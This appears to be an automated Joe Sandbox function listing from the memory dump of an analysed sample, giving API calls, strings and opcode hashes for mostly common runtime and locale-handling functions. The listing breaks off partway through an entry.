Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7c99012335df8ab6a866debbcaed3039bf4dc047a728521cf1b5ebc9545f7fe
Instruction ID: ad714e0966705e54213df2ca647e18911499550e8b8d0ceefcd57507bd51274b
Opcode Fuzzy Hash: f7c99012335df8ab6a866debbcaed3039bf4dc047a728521cf1b5ebc9545f7fe
Instruction Fuzzy Hash: 2B31E47290021CAFDB21DFA9CC89FBBB76DEB84354F15416AFA05D7244EA70AE408B50

Function 003EC842 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 003EC9D0

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8bbeb803d4fb9483fe08ce758334511c2ed8e02a2b38851ec63cc889b9b67f1e
Instruction ID: 93779c7e42564a1b85a0e244847a838e1f141cc6fba5e1cf3458e514e34120b8
Opcode Fuzzy Hash: 8bbeb803d4fb9483fe08ce758334511c2ed8e02a2b38851ec63cc889b9b67f1e
Instruction Fuzzy Hash: 57C1F3709206AA8FCB27CF6AC4916BEB7B5AF05300F156719E4969B7D2C330AC47CB41

Function 003FC43D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 003F4C01: GetLastError.KERNEL32(?,00000008,003F91D2), ref: 003F4C05
Part of subcall function 003F4C01: SetLastError.KERNEL32(00000000,0040B440,00000024,003F0169), ref: 003F4CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003FC491

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: bd6396bce2bad813fd1e9ac223ee6cdd38c9e93b369fc607bb82fcffcc31d49a
Instruction ID: a73bf0f708f1122eda41ce6657e9f2f6be371ba4dcbd605c61ae78c6b24aed29
Opcode Fuzzy Hash: bd6396bce2bad813fd1e9ac223ee6cdd38c9e93b369fc607bb82fcffcc31d49a
Instruction Fuzzy Hash: F421F83266020EABDB2A9B26CE52E7A73ACEF44314B10107AFE05DB141EB35ED04DB50

Function 003FC0C4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003F4C01: GetLastError.KERNEL32(?,00000008,003F91D2), ref: 003F4C05
Part of subcall function 003F4C01: SetLastError.KERNEL32(00000000,0040B440,00000024,003F0169), ref: 003F4CA7

EnumSystemLocalesW.KERNEL32(003FC1EA,00000001,00000000,?,-00000050,?,003FC81B,00000000,?,?,?,00000055,?), ref: 003FC136

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ae7078af242ee1d7fc5eee6c392c61abda16e800381828ec6e299e50abc78b2a
Instruction ID: 95987f53c056e6e731fa47bb75ce85bf9781655ff71161bdbca387448e01c760
Opcode Fuzzy Hash: ae7078af242ee1d7fc5eee6c392c61abda16e800381828ec6e299e50abc78b2a
Instruction Fuzzy Hash: E411253A2103099FDB189F38C9A15BABBA2FF80318B15442CEA4787B41D771B943CB40

Function 003FC66C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 003F4C01: GetLastError.KERNEL32(?,00000008,003F91D2), ref: 003F4C05
Part of subcall function 003F4C01: SetLastError.KERNEL32(00000000,0040B440,00000024,003F0169), ref: 003F4CA7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,003FC406,00000000,00000000,?), ref: 003FC698

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b8bfca1bc17a134c8239a1d228f0d4c2e5c4ff3cec54d0e1ac3413f372a121d4
Instruction ID: 499ec63a39ca44b948d686068167a878f1235e603c0b6325c0dd845c192b5bc1
Opcode Fuzzy Hash: b8bfca1bc17a134c8239a1d228f0d4c2e5c4ff3cec54d0e1ac3413f372a121d4
Instruction Fuzzy Hash: FBF02D3269411D7BDB255724CE05BBB7758EF40754F091425EE05F3180EA70FE41C690

Function 003FC15F Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003F4C01: GetLastError.KERNEL32(?,00000008,003F91D2), ref: 003F4C05
Part of subcall function 003F4C01: SetLastError.KERNEL32(00000000,0040B440,00000024,003F0169), ref: 003F4CA7

EnumSystemLocalesW.KERNEL32(003FC43D,00000001,?,?,-00000050,?,003FC7DF,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 003FC1A9

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 726d5ba875c6258ac863b916337f24b84d5d032e8344e5e69784c482d3fa42e7
Instruction ID: c2e662cfacb63782b8d0c6eaa4b9f920f93cdbd35e17db4ab2c20dce50e879e5
Opcode Fuzzy Hash: 726d5ba875c6258ac863b916337f24b84d5d032e8344e5e69784c482d3fa42e7
Instruction Fuzzy Hash: 89F0463621030C6FCB165F399D81A7ABB90EF80328F05402DFB058B681C6B1AC02DB10

Function 003F5ACF Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003EDB11: EnterCriticalSection.KERNEL32(?,?,003F48D9,?,0040B2A0,00000008,003F4A9D,?,003EC196,?), ref: 003EDB20

EnumSystemLocalesW.KERNEL32(003F5AC2,00000001,0040B360,0000000C,003F5E75,00000000), ref: 003F5B07

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: b4327c3268c553987df7ad6d569d12a140a9c248670aae3a573ce46761d0b5c7
Instruction ID: f387ef50022ba746aeab46fa774eac8f33fe242760960cbfd0734255fd505a59
Opcode Fuzzy Hash: b4327c3268c553987df7ad6d569d12a140a9c248670aae3a573ce46761d0b5c7
Instruction Fuzzy Hash: 9DF04F76A50304DFDB06EF98E886B9D77F0FB04721F10422AF601AB2E1D7B59900CB44

Function 003FC079 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003F4C01: GetLastError.KERNEL32(?,00000008,003F91D2), ref: 003F4C05
Part of subcall function 003F4C01: SetLastError.KERNEL32(00000000,0040B440,00000024,003F0169), ref: 003F4CA7

EnumSystemLocalesW.KERNEL32(003FBFD2,00000001,?,?,?,003FC83D,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 003FC0B0

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: bd273f2972fb79b3a9f401eee599492821ac7400c6d43cc9b5d31994779dfc62
Instruction ID: 4441c32e337500baf5fa1efb33634cd1f76720254695b9f999abd941d214b197
Opcode Fuzzy Hash: bd273f2972fb79b3a9f401eee599492821ac7400c6d43cc9b5d31994779dfc62
Instruction Fuzzy Hash: 06F0A03634020D97CB05AB39DA5567ABB94EB81754B064058EB058B691CA729842C790

Function 003F5F79 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,003F2100,?,20001004,00000000,00000002,?,?,003F1700), ref: 003F5FAD

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: dd1adfc9706ad8cdd9f5d2cb946e592e5e89baf839710f296f13b92d97f9e180
Instruction ID: 3f2fd7f8bc2efc295efbc862740134ffaa588a9f9490a6775a5bc079f0ac4581
Opcode Fuzzy Hash: dd1adfc9706ad8cdd9f5d2cb946e592e5e89baf839710f296f13b92d97f9e180
Instruction Fuzzy Hash: 25E04F3254461CFBCF132F61ED09EAE7E2AEF44760F058020FF05692A1CB718D21AA95

Function 003E77FF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000780B,003E6B10), ref: 003E7804

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9d4b889b78a41229bbc5f51858ac3bfe1ed0df4b280fa74b0ec63daea0ecfd80
Instruction ID: 34431d3a28b947ffbdf227aa70eaab2f521f7db2cfad50e5e5c1a9b1c99d85ca
Opcode Fuzzy Hash: 9d4b889b78a41229bbc5f51858ac3bfe1ed0df4b280fa74b0ec63daea0ecfd80
Instruction Fuzzy Hash:

Function 003E1D65 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 003E1E87

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 778a1781a9e7c992f4bcd98a48a17b77e0a0c95b8cffa9a6b333e190e0af202f
Instruction ID: aa57d26127fa501a45a2830e44aa760c14e917379ed8d69829f745afffad01ab
Opcode Fuzzy Hash: 778a1781a9e7c992f4bcd98a48a17b77e0a0c95b8cffa9a6b333e190e0af202f
Instruction Fuzzy Hash: 73412B76E2017B5BCB0CEEB9C8561AFBB69DB45310B05433AED10DB3D1E2308A01C6D0

Function 003FC99D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 003FC99D

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 284c9dcab437a8bc9ec471016a87f7a7db26594fdc99e49f27c1ef9ccbfcb7c8
Instruction ID: 2989db8fbbe8b7d69e2fe8baf7773f2d6cb5492c50ef40782d51f2f4d6a9c826
Opcode Fuzzy Hash: 284c9dcab437a8bc9ec471016a87f7a7db26594fdc99e49f27c1ef9ccbfcb7c8
Instruction Fuzzy Hash: 36A011B02002008B83008F32AB0A2083AA8AA80A82300803AA008E80A2EB3080208F0A

Function 003FB888 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: fb029d0f8b2c83caf7daf7362cc195bb27bb9798be3839aa1cc8eaad1cf83ec9
Instruction ID: 82eac5a2281a72a1ac4874ad72dcbdeb8e6dd05bc9e830c93da6c139e635c8ad
Opcode Fuzzy Hash: fb029d0f8b2c83caf7daf7362cc195bb27bb9798be3839aa1cc8eaad1cf83ec9
Instruction Fuzzy Hash: C4B1F5B550070A9BDB369F25CC82BB7F3A9EF54308F14456DEB82C6680EBB5E945CB10

Function 00425630 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 003EA318 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 003EA437
___TypeMatch.LIBVCRUNTIME ref: 003EA545
CallUnexpected.LIBVCRUNTIME ref: 003EA6B2

Strings

csm, xrefs: 003EA355
csm, xrefs: 003EA3C2
csm, xrefs: 003EA46E
0@, xrefs: 003EA42E

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm$0@
API String ID: 1206542248-3015826872
Opcode ID: d97fdb62f21802ae852b9ecad5f74ab1d0f572f00d8962134f56841e6b6635ad
Instruction ID: 622ef63361dade54625e9c1967eba9b3f1115693be54cc2ca15f2d39509f0d8c
Opcode Fuzzy Hash: d97fdb62f21802ae852b9ecad5f74ab1d0f572f00d8962134f56841e6b6635ad
Instruction Fuzzy Hash: 72B1AE358006A9DFCF16DF96C8819AEB7B5FF05310F16465AE8046B282D731EA51CF92

Function 00428622 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0042862E

Part of subcall function 00427E7F: __getptd_noexit.LIBCMT ref: 00427E82
Part of subcall function 00427E7F: __amsg_exit.LIBCMT ref: 00427E8F

__getptd.LIBCMT ref: 00428645
__amsg_exit.LIBCMT ref: 00428653
__lock.LIBCMT ref: 00428663
__updatetlocinfoEx_nolock.LIBCMT ref: 00428677

Strings

tructor iterator', xrefs: 00428624

Memory Dump Source

Source File: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID: tructor iterator'
API String ID: 938513278-1985175822
Opcode ID: 9141d4d236c8230aa4afe5b4a9d8ccb2514574f5d49c72fbeb20a3e596f06de6
Instruction ID: ca2e246b40ec126f151d53296e3c52ce9a75fe4df4f9057347dcaa6d1db74840
Opcode Fuzzy Hash: 9141d4d236c8230aa4afe5b4a9d8ccb2514574f5d49c72fbeb20a3e596f06de6
Instruction Fuzzy Hash: 4BF09631F057309AD720BB69B402B1E37906F00769FD6414FF804A72D2CF2C5951DA5E

Function 003FF0A8 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc007f682ec8f8577025072a4aec79a3cdebf743fece6c7f993a78a8f77e4dbf
Instruction ID: dc650b715ae30a18d7d61cf2b287aa0d9506f3eac25eea05661d9f0685a56d02
Opcode Fuzzy Hash: cc007f682ec8f8577025072a4aec79a3cdebf743fece6c7f993a78a8f77e4dbf
Instruction Fuzzy Hash: E4B1E674A0424DAFDB17DF99C880BBD7BB5AF89300F154279EA01AB392D7709E41CB61

Function 003E50F8 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003E50FF
std::_Lockit::_Lockit.LIBCPMT ref: 003E5109
int.LIBCPMT ref: 003E5120

Part of subcall function 003E16B4: std::_Lockit::_Lockit.LIBCPMT ref: 003E16C5
Part of subcall function 003E16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 003E16DF

std::_Facet_Register.LIBCPMT ref: 003E515A
std::_Lockit::~_Lockit.LIBCPMT ref: 003E517A
Concurrency::cancel_current_task.LIBCPMT ref: 003E5187

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 4c67608ae27fc702497219f62aa264a252d312bc71413b3a0fd810e03c38a065
Instruction ID: 55a3afa7f80b324b335df9504183871c2bd301d87c6af2584db82ad5d26f3c51
Opcode Fuzzy Hash: 4c67608ae27fc702497219f62aa264a252d312bc71413b3a0fd810e03c38a065
Instruction Fuzzy Hash: CA11B4759006B49BCB16EB65C9067AE77B4AF84324F150719F401AB2D2DBB49D01CB85

Function 003E9FAA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,003E9FA1,003E86C8,003E784F), ref: 003E9FB8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 003E9FC6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 003E9FDF
